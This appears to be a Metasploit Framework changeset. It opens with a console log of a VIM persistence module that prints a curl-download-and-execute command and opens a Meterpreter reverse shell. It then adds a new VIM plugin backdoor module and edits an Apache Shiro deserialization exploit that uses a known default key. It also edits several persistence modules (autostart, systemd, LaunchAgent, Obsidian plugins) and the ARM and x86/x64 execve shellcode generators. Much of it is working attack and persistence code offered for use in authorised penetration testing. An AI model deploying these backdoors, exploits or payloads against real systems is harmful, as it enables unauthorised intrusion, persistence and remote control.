[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/vim_persistence) > set session 1
session => 1
msf exploit(linux/persistence/vim_persistence) > exploit
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[!] The service is running, but could not be validated. VIM is installed
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
```
Open vim
```
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
```
@@ -7,8 +7,10 @@ unauthenticated user can submit a YSoSerial payload to the Apache Shiro web
server as the value to the `rememberMe` cookie. This will result in code
execution in the context of the web server.
The YSoSerial `CommonsCollections2` payload is known to work and is the one
leveraged by this module.
The YSoSerial `CommonsCollections2` payload is known to work and is the
default gadget chain used by this module. The gadget chain is configurable
via the `JAVA_GADGET_CHAIN` option; the selected chain must be available on
the target's classpath.
Note that other versions of Apache Shiro may also be exploitable if the
encryption key used by Shiro to encrypt `rememberMe` cookies is known.
@@ -29,9 +31,13 @@ You can use <https://github.com/Medicean/VulApps/tree/master/s/shiro/1>.
3. `run`
## Options
### ENC_KEY
The encryption key the target Apache Shiro server is using to encrypt its `rememberMe` cookies.
### JAVA_GADGET_CHAIN
The Java deserialization gadget chain to use. The chain must be available on the target's classpath.
## Scenarios
### Tested on GNU/Linux x86_64 using Shiro-1.2.4
@@ -43,15 +49,16 @@ msf exploit(multi/http/shiro_rememberme_v124_deserialize) > show options
Module options (exploit/multi/http/shiro_rememberme_v124_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
Name Current Setting Required Description
---- --------------- -------- -----------
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
JAVA_GADGET_CHAIN CommonsCollections2 yes The Java gadget chain to use for deserialization
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.132"
VERSION = "6.4.133"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+5 -4
View File
@@ -101,9 +101,10 @@ module Msf::DBManager::Vuln
#
def report_vuln(opts)
return if not active
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data]
name = opts[:name] || return
raise ArgumentError.new("report_vuln Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("report_vuln Deprecated data column for vuln, use .info instead") if opts[:data]
raise ArgumentError.new("report_vuln Missing required option :name") if opts[:name].nil?
name = opts[:name]
info = opts[:info]
::ApplicationRecord.connection_pool.with_connection {
@@ -333,7 +334,7 @@ module Msf::DBManager::Vuln
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the Vuln entries to delete.
# @return [Array] Array containing the Mdm::Vuln objects that were successfully deleted.
def delete_vuln(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
raise ArgumentError.new("delete_vuln The following options are required: :ids") if opts[:ids].nil?
::ApplicationRecord.connection_pool.with_connection {
deleted = []
+52 -8
View File
@@ -11,6 +11,7 @@ module Msf
module Exploit::Remote::Ftp
include Exploit::Remote::Tcp
include Msf::Auxiliary::Report
#
# Creates an instance of an FTP exploit module.
@@ -47,22 +48,65 @@ module Exploit::Remote::Ftp
# message is read in and stored in the 'banner' attribute.
#
def connect(global = true, verbose = nil)
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
print_status("Connecting to FTP server #{rhost}:#{rport}...") if verbose
print_status("Connecting to FTP server...") if verbose
fd = super(global)
begin
fd = super(global)
rescue ::Rex::ConnectionRefused
report_host(host: rhost)
raise
end
# Wait for a banner to arrive...
self.banner = recv_ftp_resp(fd)
print_status("Connected to target FTP server.") if verbose
print_status('Connected to target FTP server') if verbose
# Only record the service and banner when the greeting looks like FTP (RFC 959)
if self.banner&.match?(/^(120|220)[\s-]/)
# Cleaned up FTP banner
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'ftp',
info: Rex::Text.to_hex_ascii(banner_version),
parents: {
host: rhost,
port: rport,
proto: 'tcp',
name: 'tcp'
}
)
# Raw FTP banner
report_note(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'ftp',
type: 'ftp.banner',
data: { banner: Rex::Text.to_hex_ascii(self.banner.strip) }
)
end
# Return the file descriptor to the caller
fd
end
# Extracts a normalized version string from the FTP banner
# 220 (vsFTPd 2.3.4)\x0d\x0a -> vsFTPd 2.3.4
# 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.0.10]\x0d\x0a -> ProFTPD 1.3.1 Server (Debian)
def banner_version
banner.to_s
.sub(/^\d{3}[\s-]/, '')
.strip
.gsub(/\A\(|\)\z/, '')
.gsub(/\s*\[(?:(?:\d{1,3}\.){3}\d{1,3}|[0-9A-Fa-f:]*:[0-9A-Fa-f:.]+)\]/, '')
end
#
# This method handles establishing datasocket for data channel
#
@@ -133,8 +177,8 @@ module Exploit::Remote::Ftp
# that have been supplied in the exploit options.
#
def connect_login(global = true, verbose = nil)
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
ftpsock = ftp_connect(global, verbose)
if !(user and pass)
@@ -312,7 +356,7 @@ module Exploit::Remote::Ftp
if not found_end
resp << ln
resp << "\r\n"
if ln.length > 3 and ln[3,1] == ' '
if ln.length > 3 and ln[3,1] == ' ' and ln[0,3] =~ /\A\d{3}\z/
found_end = true
end
else
+5 -1
View File
@@ -4,6 +4,7 @@ module Msf::Post::Architecture
# Get the architecture of the target's operating system.
# @return [String, Nil] Returns a string containing the target OS architecture if known, or Nil if its not known.
#
def get_os_architecture
if session.type == 'meterpreter'
os_architecture = sysinfo['Architecture']
@@ -31,7 +32,10 @@ module Msf::Post::Architecture
print_error('Target is running Windows on an unsupported architecture!')
return nil
end
when 'linux', 'bsd', 'osx'
uname_m = cmd_exec('uname -m').to_s.strip
Rex::Arch.from_uname(uname_m)
end
end
end
end
end
+3 -3
View File
@@ -168,8 +168,8 @@ class PayloadCachedSize
#
# @param mod [Msf::Payload] The class of the payload module to update
# @return [Integer, String]
def self.compute_cached_size(framework, mod)
return ":dynamic" if is_dynamic?(framework, mod)
def self.compute_cached_size(framework, mod, generation_count: 10)
return ":dynamic" if is_dynamic?(framework, mod, generation_count: generation_count)
mod.replicant.generate_simple(module_options(mod)).bytesize
end
@@ -180,7 +180,7 @@ class PayloadCachedSize
# @param generation_count [Integer] The number of iterations to use to
# verify that the size is static.
# @return [Boolean]
def self.is_dynamic?(framework, mod, generation_count=10)
def self.is_dynamic?(framework, mod, generation_count: 10)
return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize
opts = module_options(mod)
last_bytesize = nil
+2 -1
View File
@@ -126,7 +126,8 @@ class MetasploitModule < Msf::Auxiliary
report_vuln(
:host => shost,
:port => datastore['RPORT'],
:proto => 'udp', :name => "DNS",
:proto => 'udp',
:name => "DNS",
:info => "DNS amplification - #{data.length} bytes [#{amp.round(2)}x Amplification]",
:refs => self.references
)
-101
View File
@@ -1,101 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Anonymous FTP Access Detection',
'Description' => 'Detect anonymous (read/write) FTP server access.',
'References' => [
['URL', 'https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
]
)
end
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
if res
write_check = send_cmd(['MKD', dir], true)
if write_check && write_check =~ /^2/
send_cmd(['RMD', dir], true)
print_good("#{target_host}:#{rport} - Anonymous READ/WRITE (#{banner})")
access_type = 'Read/Write'
else
print_good("#{target_host}:#{rport} - Anonymous READ (#{banner})")
access_type = 'Read-only'
end
register_creds(target_host, access_type)
elsif banner
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'ftp',
info: banner
)
end
disconnect
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Rex::ConnectionError, ::IOError
end
end
def register_creds(target_host, access_type)
# Build service information
service_data = {
address: target_host,
port: datastore['RPORT'],
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Build credential information
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['FTPPASS'],
private_type: :password,
username: datastore['FTPUSER'],
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
access_level: access_type,
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
@@ -0,0 +1,134 @@
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Module::Deprecated
moved_from 'auxiliary/scanner/ftp/anonymous'
def initialize
super(
'Name' => 'Anonymous FTP Access Detection',
'Description' => 'Detect anonymous (read/write) FTP service access.',
'References' => [
['URL', 'https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],
['CVE', '1999-0497'],
],
'Author' => [
'Matteo Cantoni <goony[at]nothink.org>',
'g0tmi1k' # @g0tmi1k - additional features
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(21),
OptBool.new('STORE_LOOT', [false, 'Store the directory listing as loot', true])
]
)
end
def run_host(target_host)
res = connect_login(true, false)
if res
dir = Rex::Text.rand_text_alpha(8)
vprint_status("Testing write access, creating test directory: #{dir}")
# Alt would be to use STOR
write_check = send_cmd(['MKD', dir], true)
if write_check && write_check =~ /^2/
access_type = 'Read/Write'
vprint_status("Removing test directory: #{dir}")
send_cmd(['RMD', dir], true)
else
access_type = 'Read-only'
end
print_good("Anonymous #{access_type} access (#{@banner_version})")
if datastore['STORE_LOOT']
vprint_status('Listing directory contents')
listing = send_cmd_data(['LS'], nil)
if listing.nil?
print_warning('Could not retrieve directory listing (data connection failed)')
elsif listing[1].nil? || listing[1].empty?
vprint_status('Directory listing: (empty)')
else
vprint_status("Directory listing:\n#{listing[1]}")
path = store_loot('ftp.anonymous', 'text/plain', rhost, listing[1], 'ftp_anonymous.txt', 'Anonymous FTP directory listing')
print_good("Directory listing stored to: #{path}")
end
end
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'ftp',
name: 'Anonymous FTP Access',
info: "Anonymous FTP login accepted with #{access_type} access",
refs: references
)
register_creds(target_host, access_type)
elsif banner
print_warning("FTP service, but no anonymous access (#{banner_version})")
else
vprint_warning('No FTP banner received')
end
rescue ::Rex::TimeoutError, ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNREFUSED => e
vprint_error(e.message)
report_host(host: rhost)
rescue ::Interrupt
raise $ERROR_INFO
ensure
disconnect
end
def register_creds(target_host, access_type)
# Build service information
service_data = {
address: target_host,
port: rport,
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Build credential information
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_data: datastore['FTPPASS'],
private_type: :password,
username: datastore['FTPUSER'],
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
access_level: access_type,
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
+2
View File
@@ -46,6 +46,8 @@ class MetasploitModule < Msf::Auxiliary
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:name => 'HTTP TRACE Method Enabled (Cross-Site Tracing)',
:refs => references,
:info => "Vulnerable to Cross-Site Tracing"
)
else
@@ -217,7 +217,7 @@ class MetasploitModule < Msf::Exploit::Remote
'vars_post' => params
})
fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403
fail_with(Failure::Unknown, 'Could not create a new user') if res.nil? || res.code == 403
print_good("User #{username} created with password #{password}")
end
@@ -48,8 +48,9 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_CMD,
# Space is constrained due to the max size of the resulting ELF executable (2024 on 6.8.0-79-generic
# x86_64, 2036 on 6.6.63-v8+ aarch64) if Metasploit changes the ELF executable size in the future, this
# may need to be updated
# x86_64, 2036 on 6.6.63-v8+ aarch64, 2028 on 5.15.44-Re4son-v7+ armv7l) if Metasploit changes the ELF
# executable size in the future, this may need to be updated. The Space here is the largest size that
# yeilds an ELF executable that fits all tested architectures.
'Payload' => { 'Space' => 1847, 'DisableNops' => true }
}
]
@@ -128,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Local
def run_command(os_command)
os_architecture = get_os_architecture
unless [ ARCH_X64, ARCH_AARCH64 ].include?(os_architecture)
unless [ ARCH_X64, ARCH_AARCH64, ARCH_ARMLE ].include?(os_architecture)
# this is an artificial filter for MVP while the details for the other architectures are worked out and tested.
fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.")
end
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Local
user = target_user
home = get_home_dir(user)
vprint_status('Making sure the autostart directory exists')
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
mkdir("#{home}/.config/autostart", cleanup: false) # in case no autostart exists
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
path = "#{home}/.config/autostart/#{name}.desktop"
@@ -83,13 +83,13 @@ class MetasploitModule < Msf::Exploit::Local
@clean_up_rc << "upload #{path} #{config_file}\n"
else
print_status("#{config_file} does not exist, creating it")
cmd_exec("mkdir #{emacs_dir}") unless directory?(emacs_dir) # don't use mkdir since that auto deletes on module finish
mkdir(emacs_dir, cleanup: false) unless directory?(emacs_dir)
write_file(config_file, '')
@clean_up_rc << "rm #{config_file}\n"
end
unless directory?(lisp_dir)
cmd_exec("mkdir #{lisp_dir}")
mkdir(lisp_dir, cleanup: false)
@clean_up_rc << "rmdir #{lisp_dir}\n"
end
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Local
user = target_user
home = get_home_dir(user)
vprint_status('Creating user service directory')
cmd_exec("mkdir -p #{home}/.config/systemd/user")
mkdir("#{home}/.config/systemd/user", cleanup: false)
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
vprint_status("Writing service: #{service_name}")
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Local
if !file_exist?(service_name)
print_error('File not written, check permissions. Attempting secondary location')
vprint_status('Creating user secondary service directory')
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
mkdir("#{home}/.local/share/systemd/user", cleanup: false)
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
vprint_status("Writing .local service: #{service_name}")
@@ -0,0 +1,81 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VIM Plugin Persistence',
'Description' => %q{
This module creates a VIM Plugin which executes a payload on VIM startup.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://vimways.org/2019/writing-vim-plugin/'],
[ 'URL', 'https://www.linode.com/docs/guides/writing-a-vim-plugin/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
],
'DisclosureDate' => '1991-11-03', # VIM release date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_advanced_options [
OptString.new('NAME', [ false, 'Name of the extension. Defaults to random'])
]
end
def check
return CheckCode::Safe('VIM is required') unless command_exists?('vim')
CheckCode::Detected('VIM is installed')
end
def plugin_name
return datastore['NAME'] unless datastore['NAME'].empty?
Rex::Text.rand_text_alpha(5..10)
end
def get_home
return cmd_exec('echo ~').strip
end
def install_persistence
plugin = plugin_name
vim_plugin = File.read(File.join(
Msf::Config.data_directory, 'exploits', 'vim_plugin', 'plugin.vim'
))
vim_plugin = vim_plugin.gsub('PAYLOAD_PLACEHOLDER', payload.encoded.gsub(';./', ';nohup ./')) # already run async
vim_plugin = vim_plugin.gsub('NAME', plugin)
path = "#{get_home}/.vim/plugin"
mkdir(path, cleanup: false) unless directory?(path)
path = "#{path}/#{plugin}.vim"
vprint_status("Writing plugin to #{path}")
unless write_file(path, vim_plugin)
fail_with(Failure::UnexpectedReply, "Failed to write VIM plugin to #{path}")
end
@clean_up_rc = "rm #{path}\n"
end
end
@@ -20,6 +20,8 @@ class MetasploitModule < Msf::Exploit::Remote
installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
also be exploitable if the encryption key used by Shiro to encrypt rememberMe
cookies is known.
The gadget chain used for Java deserialization must be present on the target's classpath.
},
'License' => MSF_LICENSE,
'Author' => [
@@ -62,7 +64,11 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA==']),
OptEnum.new('JAVA_GADGET_CHAIN', [
true, 'The Java gadget chain to use for deserialization', 'CommonsCollections2',
Msf::Exploit::JavaDeserialization.gadget_chains
])
]
)
end
@@ -75,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
ciphertext = aes_encrypt(java_payload)
base64_ciphertext = Rex::Text.encode_base64(ciphertext)
@@ -220,12 +220,10 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
vaults.each_value do |vault|
print_status("Uploading plugin to vault #{vault['path']}")
# avoid mkdir function because that registers it for delete, and we don't want that for
# persistent modules
if ['windows', 'win'].include? session.platform
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
mkdir("#{vault['path']}\\.obsidian\\plugins\\#{plugin}", cleanup: false)
else
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
mkdir("#{vault['path']}/.obsidian/plugins/#{plugin}", cleanup: false)
end
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
@@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status("Detected Python version #{@python_version}")
get_hooks_path unless @hooks_path
mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'
mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
# check if hooks path writable
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Local
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
def add_launchctl_item
label = File.basename(backdoor_path)
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
mkdir(File.dirname(plist_path).shellescape, cleanup: false) unless directory?(File.dirname(plist_path))
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
item = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
@@ -186,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Local
# @param [String] exe the executable to drop
def write_backdoor(exe)
print_status('Dropping backdoor executable...')
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
mkdir(File.dirname(backdoor_path).shellescape, cleanup: false) unless directory?(File.dirname(backdoor_path))
if write_file(backdoor_path, exe)
print_good("Backdoor stored to #{backdoor_path}")
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local
if session.type == 'meterpreter'
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
else
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless mkdir(payload_pathname, cleanup: false)
end
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
@@ -85,9 +85,8 @@ class MetasploitModule < Msf::Exploit::Local
print_status("#{profile_file} does not exist, creating it...")
folders = profile_file.split('\\')[0..-2]
folders = folders.join('\\')
# we can't use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups
unless directory?(folders)
cmd_exec("cmd /c \"md #{folders}\"")
mkdir(folders, cleanup: false)
@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
end
unless write_file(profile_file, '') # write empty file so we can append later
+45 -18
View File
@@ -3,16 +3,8 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module MetasploitModule
CachedSize = 29
CachedSize = 72
include Msf::Payload::Single
include Msf::Payload::Linux::Armle::Prepends
@@ -22,25 +14,60 @@ module MetasploitModule
merge_info(
info,
'Name' => 'Linux Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => 'Jonathan Salwan',
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
'Author' => [
'Jonathan Salwan',
'Spencer McIntyre'
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE
)
)
register_options(
[
OptString.new('CMD', [ true, 'The command string to execute' ]),
]
)
register_options([
OptString.new('CMD', [ false, 'The command string to execute' ]),
])
end
def generate(_opts = {})
cmd = datastore['CMD'] || ''
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" \
"\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
if cmd.empty?
# execve("/bin/sh", NULL, NULL)
shellcode = [
0xe28f000c, # add r0, pc, #12
0xe3a01000, # mov r1, #0
0xe3a02000, # mov r2, #0
0xe3a0700b, # mov r7, #11 # __NR_execve
0xef000000 # svc 0
].pack('V*')
shellcode += "/bin/sh\x00"
else
# execve("/bin/sh", ["/bin/sh", "-c", CMD, NULL], NULL)
shellcode = [
0xe0244004, # eor r4, r4, r4
0xe92d0010, # push {r4} ; argv[3] = NULL
0xe28f4030, # add r4, pc, #48 ; r4 = &cmd
0xe92d0010, # push {r4} ; argv[2] = &cmd
0xe28f4024, # add r4, pc, #36 ; r4 = &"-c"
0xe92d0010, # push {r4} ; argv[1] = &"-c"
0xe28f4014, # add r4, pc, #20 ; r4 = &"/bin/sh"
0xe92d0010, # push {r4} ; argv[0] = &"/bin/sh"
0xe1a0100d, # mov r1, sp
0xe28f0008, # add r0, pc, #8 ; r0 = &"/bin/sh"
0xe3a02000, # mov r2, #0
0xe3a0700b, # mov r7, #11 ; __NR_execve
0xef000000 # svc 0
].pack('V*')
shellcode += "/bin/sh\x00"
shellcode += "-c\x00\x00"
shellcode += cmd + "\x00"
end
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end
+13 -7
View File
@@ -39,6 +39,7 @@ module MetasploitModule
def generate(_opts = {})
cmd = datastore['CMD'] || ''
cmd_length = cmd.bytesize
nullfreeversion = datastore['NullFreeVersion']
if cmd.empty?
@@ -93,19 +94,22 @@ module MetasploitModule
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
if nullfreeversion
if cmd.length > 0xffff
if cmd_length > 0xffff
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
end
if cmd.length <= 0xff # 255
# Null-free: raw bytes without terminator (patched at runtime)
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
if cmd_length <= 0xff # 255
breg = 'bl'
else
breg = 'bx'
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
cmd += ' '
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
cmd_bytes += ', 0x20'
cmd_length += 1
end
end
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
mov_cmd_len_to_breg = "mov #{breg}, #{cmd_length}"
# 48 bytes without cmd (null-free)
payload = <<-EOS
@@ -144,9 +148,11 @@ module MetasploitModule
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
tocall:
call afterjmp
db "#{cmd}" ; arbitrary command
db #{cmd_bytes} ; arbitrary command
EOS
else
# Non-null-free: null-terminated cstring
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
# 37 bytes without cmd (not null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f
@@ -163,7 +169,7 @@ module MetasploitModule
push rdx ; NULL
call continue
db "#{cmd}", 0x00 ; arbitrary command
db #{cmd_cstring} ; arbitrary command
continue:
push rsi ; "-c"
push rdi ; "/bin/sh"
@@ -36,6 +36,7 @@ module MetasploitModule
if length > 0xff
fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')
end
hostname = Rex::Text.to_hex_cstring(hostname, nullbyte: false)
payload = %^
push 0xffffffffffffff56 ; sethostname() syscall number.
@@ -57,7 +58,7 @@ module MetasploitModule
str:
call end
db "#{hostname}A"
db #{hostname}, 0x41
^
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
+13 -7
View File
@@ -52,6 +52,7 @@ module MetasploitModule
def generate(_opts = {})
cmd = datastore['CMD'] || ''
cmd_length = cmd.bytesize
nullfreeversion = datastore['NullFreeVersion']
if cmd.empty?
#
@@ -89,19 +90,22 @@ module MetasploitModule
#
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
if nullfreeversion
if cmd.length > 0xffff
if cmd_length > 0xffff
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
end
if cmd.length <= 0xff # 255
# Null-free: raw bytes without terminator (patched at runtime)
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
if cmd_length <= 0xff # 255
breg = 'bl'
else
breg = 'bx'
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
cmd += ' '
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
cmd_bytes += ', 0x20'
cmd_length += 1
end
end
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
mov_cmd_len_to_breg = "mov #{breg}, #{cmd_length}"
# 47/49 bytes without cmd (null-free)
payload = <<-EOS
xor ebx, ebx
@@ -127,9 +131,11 @@ module MetasploitModule
int 0x80
tocall:
call afterjmp ; call/pop cmd address
db "#{cmd}"
db #{cmd_bytes}
EOS
else
# Non-null-free: null-terminated cstring
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
# 36 bytes without cmd (not null-free)
payload = <<-EOS
push 0xb
